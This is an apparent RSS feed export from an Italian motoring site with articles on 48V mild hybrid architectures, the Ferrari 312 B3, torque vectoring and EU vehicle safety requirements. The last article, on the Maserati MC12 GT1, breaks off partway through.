<p><figure id="attachment_93338" aria-describedby="caption-attachment-93338" style="width: 1018px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93338 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Audi-A8-48V-MHEV.jpg" alt="Audi A8 48V MHEV" width="1018" height="722" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 612" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Audi-A8-48V-MHEV.jpg 1018w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Audi-A8-48V-MHEV-768x545.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Audi-A8-48V-MHEV-300x213.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Audi-A8-48V-MHEV-696x494.jpg 696w" sizes="(max-width: 1018px) 100vw, 1018px" /><figcaption id="caption-attachment-93338" class="wp-caption-text"><em>1) Convertitore DC/DC per batteria (12 V) 3) batteria ad alto voltaggio (48 V) 4) 48V belt-drive starter-generatore 5) motore benzina 3.0 TFSI </em></figcaption></figure></p>
<p style="text-align: justify;">Il motore elettrico aiuta la vettura nelle partenze da fermo e nelle fasi passive durante i cambi marcia. La poca coppia non influisce in  modo evidente  sulle riprese a bassa velocità.  Il motore elettrico è dotato di generatore ed inverte per ricaricare una piccola batteria 48v. L&#8217;efficacia della ricarica dipende dalla quantità di perdite dovute alla trasmissione a cinghia.</p>
<p style="text-align: justify;">Avere una piccola batteria permette di estendere le funzioni di start&amp;stop attivabile . Inoltre anche con motore a 48V non consente la marcia in full elettrico. La cinghia di trasmissione è un componente specifico dimensionato per sopportare continui cambi di coppia, con costi leggermente maggiori alla sostituzione.</p>
<p style="text-align: justify;">Il <strong>MiHEV Liv 1,</strong>  necessita di avere comunque un motorino di avviamento classico per la messa in moto anche dopo lunghe soste o partenza a freddo. Molto importante l&#8217;aspetto del comfort: Le resistenze in gioco attraverso la cinghia possono essere fonte di vibrazioni.</p>
<p><figure id="attachment_93339" aria-describedby="caption-attachment-93339" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93339 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Continental-48V-MHEV-system-components.jpg" alt="Continental MiHV 48v" width="1024" height="441" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 613" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Continental-48V-MHEV-system-components.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Continental-48V-MHEV-system-components-768x331.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Continental-48V-MHEV-system-components-300x129.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Continental-48V-MHEV-system-components-696x300.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-93339" class="wp-caption-text"><em>1) Motore elettrico con inverter integrato 2) Convertitore DC/DC (48 V / 12 V) 3) Batteria Li-Ion (Ioni-Litio) </em></figcaption></figure></p>
<p style="text-align: justify;">Ad oggi,  molti costruttori stanno utilizzando questo schema con motore a 48v. Molto utile per abbassare il limite di emissione di anidride carbonica abbattendo i consumi. Il costo basso, la sua versatilità consente di poter avere motori elettrici di diversa potenza per diverse tipologie di veicoli.</p>
<p style="text-align: justify;">Suzuki ne è un esempio lampante. Un motore a 12v per la piccola Ignis, e 48v per la più grande Vitara ma il complessivo l&#8217;architettura è sempre quella del SHVS. Tutte le aziende di produzione componentistica  ha in catalogo una tecnologia facilmente adattabile. Basta citare i vari <strong>ZF, Valeo, Continental, Bosh e Delphi.</strong></p>
<p style="text-align: justify;">Per risolvere alcuni limiti tecnologici della Liv 1, sia <strong>Honda che Mercedes</strong>, in tempi ancora remoti per la propulsione ibrida all’inizio degli anni 90 adottarono una soluzione con motore elettrico integrato, collegato direttamente al motore endotermico a valle del volano. La potenza supera i 15cv per una coppia fino a 35Nm. Il collegamento a frizione garantisce un rendimento migliore portandolo al <strong>94%.</strong></p>
<p><figure id="attachment_93361" aria-describedby="caption-attachment-93361" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93361 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Valeo-Hybrid4All-48V-MHEV-system-components.jpg" alt="Sistema Valeo MiHV 48V " width="1024" height="401" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 614" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeo-Hybrid4All-48V-MHEV-system-components.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeo-Hybrid4All-48V-MHEV-system-components-768x301.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeo-Hybrid4All-48V-MHEV-system-components-300x117.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeo-Hybrid4All-48V-MHEV-system-components-696x273.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-93361" class="wp-caption-text"><em>1) Unità di Controllo (PCU) 2) Sensore batteria da 14V 3) Generatore/Starter (BSG) 8 – 12 kW / 55 Nm di Picco, con inverter integrato 4) Convertitore DC/DC (60 V / 12 V) da 2 kW 5) Batteria 48V da 200 – 600 kJ</em></figcaption></figure></p>
<p style="text-align: justify;">I vantaggi sono di consentire  la marcia a motore endotermico spento per una maggiore quantità di tempo ad una velocità maggiore. Più coppia influenza maggiormente le riprese  oltre alla partenza da fermo con una capacità di ricarica maggiore. Inoltre si fa a meno del motorino di avviamento classico</p>
<p style="text-align: justify;">Il limite di una tecnologia che potremmo definire <strong>MiHEV Liv1.2</strong> sta nella difficoltà di progettazione ed industrializzazione con costi più alti per adattarsi al motore endotermico. Restano le difficoltà a consentire la marcia in full elettrico. Questa condizione si potrebbe verificare solo in condizione limite di veleggiamento o rilascio senza nessun assorbimento di potenza da parte del motore endotermico. In sostanza molto utile in sede di omologazione del vecchio ciclo NEDC ma poco verificabile in marcia reale in strada.</p>
<p style="text-align: justify;">La soluzione tecnica denominata <strong>Mild Hybrid MiHEV-Liv2</strong> sfrutta un concetto analogo a quello del motore collegato direttamente alla meccanica. In questo caso la macchina elettrica si collega alla trasmissione.</p>
<p><figure id="attachment_93340" aria-describedby="caption-attachment-93340" style="width: 268px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93340 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Honda-IMA-mild-hybrid-electric-vehicle-MHEV-e1498435182820-268x300-1.jpg" alt="Honda MiHV integrato " width="268" height="300" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 615"><figcaption id="caption-attachment-93340" class="wp-caption-text"><em>Soluzione Honda con motore elettrico integrato collegato direttamente all&#8217;unità endotermica </em></figcaption></figure></p>
<p style="text-align: justify;">Il motore elettrico può essere integrato nel cambio sia a cinghia come la soluzione Continental che meccanico come adottato dalla <strong>Getrag o Subaru</strong>. In entrambi i casi anche con cinghia le perdite sono ridotte al minimo per minore assorbimento da parte della trasmissione rispetto all&#8217;albero del motore endotermico. Le macchine elettriche hanno più potenza e coppia anche rimanendo a 48v. Inoltre il collegamento con la trasmissione consente di portare la potenza alle ruote anche in modo indipendente, consentendo anche la marcia in full elettrico. Indipendentemente dal tipo di collegamento il rendimento non scende sotto il <strong> 95%. </strong></p>
<p style="text-align: justify;">La riduzione del consumo è del 16% (WLTP). Alcuni sistemi sono abbastanza potenti da consentire anche di viaggiare per 2km in modalità elettrica, quasi sconfinando nella tecnologia Full Elettrica. La presenza o meno di un motorino di avviamento dipende da come viene collegato e se riesce gestire anche la messa in moto a freddo della macchina elettrica inserita nella trasmissione.</p>
<p style="text-align: justify;">Il boost di spinta è evidente al punto da influenzare i valori di accelerazione e ripresa stabiliti dal costruttore rispetto ad un analogo modello senza questa tecnologia. Aumenta anche la capacità di rigenerare energia e di solito si utilizza una batteria di dimensioni maggiori.</p>
<p><figure id="attachment_93341" aria-describedby="caption-attachment-93341" style="width: 300px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93341 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Getrag-Hybrid-Double-Clutch-Transmission-300x253-1.jpg" alt="Soluzione MiHV Getrag " width="300" height="253" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 616"><figcaption id="caption-attachment-93341" class="wp-caption-text"><em>Getrag: Cambio a Doppia Frizione con sistema Hybrid MiHEV integrato </em></figcaption></figure></p>
<p style="text-align: justify;">Uno dei grandi vantaggi sta nella possibilità di conservare le caratteristiche di trazione integrale quando è presente. Sia che si tratti di una trasmissione trasversale e trazione integrale on-demand che longitudinale AWD. Questa tecnologia inoltre si abbina anche alla comodità di cambio a doppia frizione come nel caso della Getrag.</p>
<p style="text-align: justify;"> Una volta che il motore endotermico si spegne, la trazione alle ruote e la relativa presa su strada viene garantita dall&#8217;azione del propulsore elettrico in base all&#8217;energia stipata nella batteria. Subaru, per esempio, usa questo schema tecnico per conservare tutte le sue caratteristiche integrando il motore elettrico nella trasmissione LinearTronic.</p>
<p style="text-align: justify;"> Nel nostro test su strada,  con acqua e fango in discesa sconnessa, la <a href="https://www.giornalemotori.com/2019/10/11/test-drive-subaru-xv-2-0-litri-e-boxer-oltre-le-aspettative-sicura-come-sempre/"><strong>Subaru XV e-Boxer</strong></a> andava con la spia EV sul quadro accesa, sicura come se il motore endotermico fosse ancora perfettamente funzionante.</p>
<p><figure id="attachment_93342" aria-describedby="caption-attachment-93342" style="width: 530px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93342 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/awd.jpg" alt="E-Boxer Subaru" width="530" height="500" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 617" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/awd.jpg 530w, https://www.giornalemotori.com/wp-content/uploads/2020/05/awd-300x283.jpg 300w" sizes="(max-width: 530px) 100vw, 530px" /><figcaption id="caption-attachment-93342" class="wp-caption-text"><em>Sistema Subaru e-Boxer, MiHEV integrato al cambio Lineratronic, abbinato al motore Boxer e trazione Symmetrical AWD</em></figcaption></figure></p>
<p style="text-align: justify;">Gli svantaggi sono ovviamente una complessità eccessiva dell’adattamento del sistema. Oltre al peso maggiore che potrebbe vanificare in parte il risultato sui consumi e risposta del boost di spinta, ci sono costi molto più alti per la progettazione e realizzazione. Inoltre oltre alla necessità di un motorino di avviamento potrebbe essere necessaria anche una macchina elettrica per la gestione separata della funzione star&amp;stop.  Infine essendo integrato nella trasmissione necessita di un sistema di raffreddamento appositamente progettato.</p>
<p style="text-align: justify;">La soluzione <strong>Mild Hybrid MiHEV-Liv3</strong> prevede il motore elettrico separato disposto sull’asse posteriore. Una soluzione progettata per aumentare le prestazioni sfruttando una macchina elettrica dai 48v fino a livelli di potenza più alti.</p>
<p style="text-align: justify;">Migliore ripartizione dei pesi per una migliore dinamica riducendo il consumo di carburante. Essendo un sistema molto versatile può adattarsi anche a sistemi <strong>Full Hybrd e Hybrid Plug-in</strong> con grosse potenze e capacità. In questa trattazione consideriamo l&#8217;uso del motore 48 V.</p>
<p><figure id="attachment_93346" aria-describedby="caption-attachment-93346" style="width: 768px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-93346 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/epkp4module_thumbnail1176x662_stage_mobile.jpg" alt="" width="768" height="432" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 618" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/epkp4module_thumbnail1176x662_stage_mobile.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/epkp4module_thumbnail1176x662_stage_mobile-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/epkp4module_thumbnail1176x662_stage_mobile-696x392.jpg 696w" sizes="(max-width: 768px) 100vw, 768px" /><figcaption id="caption-attachment-93346" class="wp-caption-text"><em>Motore elettrico per MiHEV su asse posteriore separato </em></figcaption></figure></p>
<p>Anche in questo caso c&#8217;è una batteria per l&#8217;accumulo di energia  che avviene attraverso la capacità di rigenerazione in frenata. Le funzioni di avviamento e start&amp;stop sono gestite da un secondo Starter/Generatore collegato al motore endotermico.</p>
<p style="text-align: justify;">Lo schema sospensivo determina lo spazio e la potenza del motore elettrico. Ci sono aziende come ZF e GKN che progettano tutto il modulo sospensione adattandolo al telaio del brand committente. Il boost di coppia è maggiore e si può avere una percorrenza in elettrico puro per qualcosa di più dei canonici 2km garantiti dal mild hybrid integrato nel cambio.</p>
<p style="text-align: justify;"> Essendo vincolato sull&#8217;asse posteriore in modo indipendente può gestire la trazione integrale temporanea on-demand e Torque Vectoring a basso costo, dovendo fare a meno di trasmissione e differenziale meccanico.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93363" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Valeos-roadmap-for-48V-mild-hybrid-systems-1.png" alt="Valeos roadmap for 48V mild hybrid systems 1" width="800" height="425" title="La Tecnologia Mild Hybrid parte II: Architettura MiHEV Liv1 e successive 619" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeos-roadmap-for-48V-mild-hybrid-systems-1.png 800w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeos-roadmap-for-48V-mild-hybrid-systems-1-768x408.png 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeos-roadmap-for-48V-mild-hybrid-systems-1-300x159.png 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Valeos-roadmap-for-48V-mild-hybrid-systems-1-696x370.png 696w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p style="text-align: justify;"> In conclusione: I modelli Mild Hybrid stanno aumentando. Il sistema più efficiente è il MiHEV Liv2,  ma per una semplice questione di costi benefici,  la più diffusa è la MiHEV-Liv1 a 48v.  La versatilità e l&#8217;adattabilità a basso costo la rende adattabile anche a sistemi complessi ibridi come full hybrid e Hybrid Plug-in.</p>
<p style="text-align: justify;"> L&#8217;utilizzo di motore elettrico a 48v sta avendo un importanza cruciale non solo per la trazione ibrida ma anche per il funzionamento ottimale del motore stesso. Continental ha ideato un turbo ibrido a 48v. Lo scopo è la riduzione del ritardo del turbo ed il controllo della sovralimentazione indipendentemente dai gas di scarico per una combustione ottimale.</p>
<p>Nelle prossime trattazioni smonteremo i sistemi e analizzeremo i componenti singoli nel loro interno per capire complessità e funzionamento.</p>
<p><strong>Daniele Amore</strong></p>
<p style="text-align: justify;">
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		<title>Monoposto leggendarie: Ferrari 312 B3</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Wed, 06 May 2020 02:19:31 +0000</pubDate>
				<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[monoposto leggendarie]]></category>
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					<description><![CDATA[<p>Era nata per vincere e per stupire. Ma stupì, almeno all’inizio, solo negativamente: il 1973, l’anno del suo debutto, fu infatti per la Ferrari uno tra i peggiori in assoluto, senza nemmeno un podio. La Ferrari 312 B3 fu la prima Ferrari ad adottare un telaio monoscocca scatolato e una carrozzeria decisamente aerodinamica. A disegnarla [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Era nata per vincere e per stupire. Ma stupì, almeno all’inizio, solo negativamente: il 1973, l’anno del suo debutto, fu infatti per la Ferrari uno tra i peggiori in assoluto, senza nemmeno un podio. La <a href="http://www.ferrari.com" target="_blank" rel="noopener">Ferrari</a> 312 B3 fu la prima Ferrari ad adottare un telaio monoscocca scatolato e una carrozzeria decisamente aerodinamica.</p>
<p>A disegnarla era stato chiamato alla direzione tecnica del reparto corse l’ingegner Sandro Colombo. La stagione fu caratterizzata dai successo della Tyrrell e di Jackie Stewart, campione mondiale 1973.</p>
<p>Sandro Colombo, che era noto soprattutto per i trascorsi al reparto competizioni della Gilera, aveva di fatto sostituito Forghieri, destinato a dirigere il settore ricerche avanzate della Ferrari.</p>
<p>Forghieri era stato ritenuto responsabile della mancanza di risultati delle precedenti 312. Inoltre, il suo progetto di una prima 312 B3 sperimentale, provata a metà del 1972 e caratterizzata da un curioso muso a forma di spazzaneve, era stato ritenuto insoddisfacente.</p>
<p>La monoscocca della definitiva Ferrari 312 B3, che segnò la fine della precedente tecnica costruttiva del telaio in fogli di alluminio applicati a una struttura tubolare, venne realizzata in Inghilterra su progetto Ferrari.</p>
<p>Quasi 15 anni prima dell’arrivo di John Barnard, la Ferrari aveva sentito l’esigenza di rivolgersi agli specialisti britannici e così i tre telai della Ferrari 312 B3 del 1973 furono realizzati dalla Thompson di Weedon, nei pressi di Northampton. La forma del telaio era rettangolare, leggermente a cuneo verso la parte anteriore della vettura.</p>
<p>Piatta e squadrata, la prima Ferrari 312 B3 era caratterizzata dal gruppo molla-ammortizzatore in-board. Al momento della presentazione la monoposto montava, prima tra le Ferrari, i radiatori laterali e un muso largo che carenava, seppure parzialmente, le ruote anteriori.</p>
<p>Il motore, a dodici cilindri a V di 180°, erogava una potenza massima di 485 cavalli a 12500 giri/minuto ed era una ulteriore evoluzione dell’unità motrice impiegata a partire dal 1969. La Ferrari iniziò il Campionato del mondo 1973 con le vecchie 312 B2.</p>
<p>Jacky Ickx venne confermato quale prima guida della squadra mentre Arturo Merzario prese il posto di Clay Regazzoni, ingaggiato dalla BRM. Il belga Ickx fu quarto in Argentina e quinto in Brasile. Merzario si classificò quarto in Brasile e in Sudafrica.</p>
<p>Quelli che erano sembrati risultati di transizione, in attesa della nuova e più competitiva monoposto, in realtà furono i migliori piazzamenti della Ferrari in tutto il 1973.</p>
<p>La nuova 312 B3 fu provata prima del debutto sia con i radiatori sistemati lateralmente sia con un più convenzionale radiatore anteriore nel musetto, che venne così munito di alettoni. Problemi di surriscaldamento consigliarono di scegliere quest’ultima soluzione.</p>
<p>La Ferrari corse con il solo Ickx in Spagna e Belgio. A Montecarlo schierò Merzario a fianco di Ickx; l’italiano non gareggiò nel successivo GP di Svezia e tornò a correre in Francia.</p>
<p>I migliori risultati della 312 B3 nel 1973 furono il sesto posto di Ickx in Svezia e il quinto, sempre col pilota belga, in Francia. Oltre al peso di 30-40 kg superiore a quello delle concorrenti, la vettura denunciò anche problemi di rigidità torsionale.</p>
<p>Ce ne fu abbastanza per sospendere la partecipazione al Campionato. La Ferrari non gareggiò in Olanda e in Germania. Ickx, ingaggiato temporaneamente dalla McLaren, colse un brillante terzo posto sul mitico Nurburgring.</p>
<p>Nel frattempo Mauro Forghieri, richiamato al ponte di comando della squadra, si occupò di modificare profondamente la 312 B3 progettata da Colombo. L’ingegnere modenese installò due lunghi radiatori dell’acqua in posizione verticale all’interno delle fiancate, presentando una vettura che inalberava anteriormente un alettone a tutta larghezza, oltre a una caratteristica presa d’aria centrale per il motore.</p>
<p>Con Merzario alla guida, la Ferrari 312 B3 modificata debuttò in maniera incoraggiante nel GP d’Austria, terminando settima. Ickx tornò a correre per la Ferrari a Monza giungendo ottavo, mentre il solo Merzario gareggiò, senza particolare successo, nei GP del Canada e degli Stati Uniti.</p>
<p>La cura di Forghieri proseguì nell’inverno: la modifica più rilevante fu lo spostamento in avanti dell’abitacolo e del serbatoio.</p>
<p>I piloti per il 1974 erano <a href="https://www.giornalemotori.com/2019/05/21/addio-a-niki-lauda-se-ne-va-via-un-pezzo-di-leggenda-della-formula-1/">Niki Lauda</a> e Clay Regazzoni, che con la Ferrari 312 B3 modificata colsero in totale tre vittorie.</p>
<p>Le cose funzionarono tanto bene che il pilota svizzero conquistò il secondo posto nel Mondiale. Dopo essere passata dalla polvere all’altare, la 312 B3 continuò ad essere schierata anche nelle prime due gare del Mondiale 1975 e soltanto nella terza venne sostituita dalla 312 T.</p>
<p><strong>MERZARIO LA RICORDA COSI’</strong></p>
<p>“<i>La prima 312 B3 era una vettura più facile da guidare della B2 che la precedeva e che impiegammo all’inizio del 1973. La particolare distribuzione dei pesi permetteva soprattutto di minimizzare le differenza di comportamento della vettura mentre si svuotavano i serbatoi. Queste differenze erano uno dei difetti principali della 312 B2; un altro era la mancanza di rigidità torsionale del telaio. La vettura era anche molto più pesante delle altre vetture di Formula 1 e questo significava perdere terreno in curva, nonostante la superiorità del dodici cilindri Ferrari sul rettilineo. Molto migliore fu la B3 riveduta e corretta da Forghieri, con cui debuttai in Austria e che servì a sviluppare le Ferrari vincenti del 1974.”</i></p>
<p><strong>L’AERODINAMICA NEI PRIMI ANNI SETTANTA</strong></p>
<p>Dopo l’apparizione degli alettoni alla fine degli anni Sessanta, i progettisti della F1 si resero conto dell’importanza dell’efficienza aerodinamica. Antesignana fu la Lotus Tipo 72 del 1970, prima monoposto ad adottare radiatori laterali. Questa soluzione consentì di disegnare forme diverse del muso e del corpo centrale della vettura che permisero di aumentare il carico aerodinamico e migliorare così la tenuta di strada. A partire dal 1971, i tecnici compresero che bisognava ottenere un compromesso ideale tra la massima deportanza e la minima resistenza aerodinamica. Fu così che, a cominciare dalla Tyrrell 002, si videro, in alternativa a quelli a cuneo, dei musi a tutta larghezza con le ruote anteriori quasi carenate.</p>
<p>
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		<title>CONOSCIAMO MEGLIO IL TORQUE VECTORING</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 02 May 2020 14:00:42 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Oggi le auto sono sempre più sicure, grazie agli ingegneri ed i tecnici che operano nel settore automotive. Il legislatore fortunatamente ha recepito questo e ogni qual volta si rende conto di come l’ elettronica salvi le vite, obbliga le case costruttrici ad omologare veicoli con tutti gli aggiornamenti per la sicurezza attiva e passiva. [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Oggi le auto sono sempre più sicure, grazie agli ingegneri ed i tecnici che operano nel settore automotive.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-93257" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/TORQUEaudi2-l.jpg" alt="TORQUEaudi2 l" width="750" height="571" title="CONOSCIAMO MEGLIO IL TORQUE VECTORING 635" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUEaudi2-l.jpg 750w, https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUEaudi2-l-300x228.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUEaudi2-l-696x530.jpg 696w" sizes="(max-width: 750px) 100vw, 750px" /></p>
<p style="text-align: justify;">Il legislatore fortunatamente ha recepito questo e ogni qual volta si rende conto di come l’ elettronica salvi le vite, obbliga le case costruttrici ad omologare veicoli con tutti gli aggiornamenti per la sicurezza attiva e passiva.</p>
<p style="text-align: justify;"><strong>2002: Airbag frontali/anteriori su tutte le nuove vetture</strong></p>
<p style="text-align: justify;"><strong>2004: ABS obbligatorio su tutte le vetture che escono dalle fabbriche</strong></p>
<p style="text-align: justify;"><strong>2014: ESP obbligatorio per tutte le auto di nuova progettazione</strong></p>
<p style="text-align: justify;">Dal 2021 l’ unione Europea imporrà alle case costruttrici di produrre veicoli che hanno in dotazione i seguenti 12 dispositivi: frenata d’emergenza, blocco avvio tramite alcool test, rilevamento stanchezza, rilevamento distrazione, scatola nera, segnale di frenata d’emergenza, protezione frontale per l’occupante e cinture di sicurezza migliorate, aumento dell’area di impatto della testa di pedoni e ciclisti e cristalli rinforzati, cruise control intelligente, sistema di mantenimento della corsia, sistema di protezione per gli impatti laterali, telecamera posteriore. Ma veniamo a noi e sveliamo a cosa serve il <strong>Torque Vectoring.</strong></p>
<p><img decoding="async" class="aligncenter size-large wp-image-93258" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/TORQUE-maxresdefault-1024x576.jpg" alt="TORQUE maxresdefault" width="1024" height="576" title="CONOSCIAMO MEGLIO IL TORQUE VECTORING 636" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUE-maxresdefault-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUE-maxresdefault-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUE-maxresdefault-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUE-maxresdefault-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/05/TORQUE-maxresdefault.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;"><strong>Facendo la mera traduzione,  torque vectoring  significa vettorizzazione di coppia.</strong></p>
<p style="text-align: justify;">Il vettore di coppia è una tecnologia impiegata nei differenziali automobilistici ed è un dispositivo di sicurezza attiva, che funziona automaticamente e non sostituisce il controllo di trazione e l’ esp(controllo della stabilità).</p>
<p style="text-align: justify;"> L&#8217;obiettivo principale del torque vectoring è quello di variare in modo indipendente la coppia su ciascuna ruota, nello specifico, ha la funzione di frenare la o le ruote con minor aderenza al fine di trasferire più coppia alle ruote con maggior aderenza, quindi è molto utile sui fondi stradali difficili(pioggia, neve-ghiaccio, fango…), ma anche in curva, in quanto oltre ad aumentare la sicurezza e la motricità, aumenta il piacere di guida, la guidabilità.</p>
<p style="text-align: justify;">Ogni casa automobilistica ha dato un’ interpretazione diversa a questo dispositivo, ma il risultato finale è lo stesso, ovvero grazie all’ elettronica, il torque vectoring implementa la funzione meccanica del differenziale che è quella di differenziare appunto la velocità di rotazione delle ruote motrici quando percorriamo una curva(ruota interna percorre meno strada, quindi deve girare più lentamente)frenando leggermente la ruota più interna alla curva, per dare più coppia alla ruota più esterna alla curva che è la ruota con più aderenza.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-93259" src="https://www.giornalemotori.com/wp-content/uploads//2020/05/Torque-Vectoring-rear-axle-1024x835.jpg" alt="Torque Vectoring rear axle" width="1024" height="835" title="CONOSCIAMO MEGLIO IL TORQUE VECTORING 637" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/05/Torque-Vectoring-rear-axle-1024x835.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Torque-Vectoring-rear-axle-768x626.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Torque-Vectoring-rear-axle-300x245.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Torque-Vectoring-rear-axle-696x567.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/05/Torque-Vectoring-rear-axle.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">Direi: andiamo avanti così, questo è l’ auspicio, ma, tenendo sempre a mente che l’ uomo/guidatore, ben formato e consapevole dei rischi che si corrono per strada è il “dispositivo” di sicurezza più all’ avanguardia.</p>
<p><strong>Emidio Paci </strong></p>
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		<title>Leggenda Motori: Maserati MC12 GT1</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Sat, 25 Apr 2020 00:59:38 +0000</pubDate>
				<category><![CDATA[Endurance]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Pochi produttori possono vantare un pedigree sportivo come quello di Maserati. Dalla Targa Florio a Indianapolis, il marchio italiano ha vinto in tutto il mondo e con alcuni dei più grandi piloti di tutti i tempi. Juan Manuel Fangio ha conquistato l&#8217;ultimo dei suoi cinque campionati del mondo di Formula 1 al volante della leggendaria [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Pochi produttori possono vantare un pedigree sportivo come quello di Maserati. Dalla Targa Florio a Indianapolis, il marchio italiano ha vinto in tutto il mondo e con alcuni dei più grandi piloti di tutti i tempi.</p>
<p>Juan Manuel Fangio ha conquistato l&#8217;ultimo dei suoi cinque campionati del mondo di Formula 1 al volante della leggendaria 250F, mentre Stirling Moss e Dan Gurney si sono uniti per vincere la 1000 Km del Nurburgring con la Tipo 61, ma quel successo è molto distante all’alba del 21° secolo.</p>
<p>Per tre decenni la Maserati aveva lottato sotto la guida di vari prorpietari, fino a quando la Fiat e poi la Ferrari hanno dato una nuova vita al Tridente di Modena. I pensieri si sono rivolti ancora una volta ad un programma dedicato alle competizioni sportive, per ripristinare il prestigio di questo marchio carismatico.</p>
<p>E questo tempismo è stato perfetto: nei primi anni 90, ci fu una implosione dei prototipi nel mondo delle corse e le vetture GT hanno costituito la spina dorsale della scena delle auto sportive. LA BPR Glogal GT Series, dominata a metà del decennio dalla McLaren F1, si è trasformata nel campionato FIA GT a partire dal 1997.</p>
<p>La classe GT1 ha permesso modifiche più estreme rispetto alla categoria GT2, oltre a una produzione di serie più ristretta, ed è stata brevemente sfruttata da case come Porsche e Mercedes. La FIA fu costretta a intervenire e alterare la struttura di classe nel tentativo di impedire ai costruttori di creare delle auto da corsa a malapena mascherate per farle passare come dei modelli GT.</p>
<p>Questo era il palcoscenico ideale per puntare al rinascimento della Maserati e nel 2002 sono iniziati i lavori sulla spettacolare MC12. L’esclusiva hypercar si basava sulla monoscocca in fibra di carbonio della Ferrari Enzo, montando lo stesso V12 aspirato da 6 litri e il medesimo cambio semiautomatico a 6 rapporti.</p>
<p>La carrozzeria fu disegnata da Franck Stephenson, che aveva il compito di dettare delle forme aerodinamiche funzionali. Dopotutto, la MC12 esisteva come un’auto stradale solo per poter essere omologata per le corse e l’efficienza aerodinamica veniva prima di tutto.</p>
<p>Seguì un intenso periodo di test per quello che era stato soprannominato Project MCC, sotto l’occhio vigile di Giorgio Ascanelli. Gran parte della messa a punto è stata affidata ad Andrea Bertolini, ma a volte è stato affiancato nientemeno che da Michael Schumacher, che con la Ferrari ha ottenuto ben 5 titoli iridati.</p>
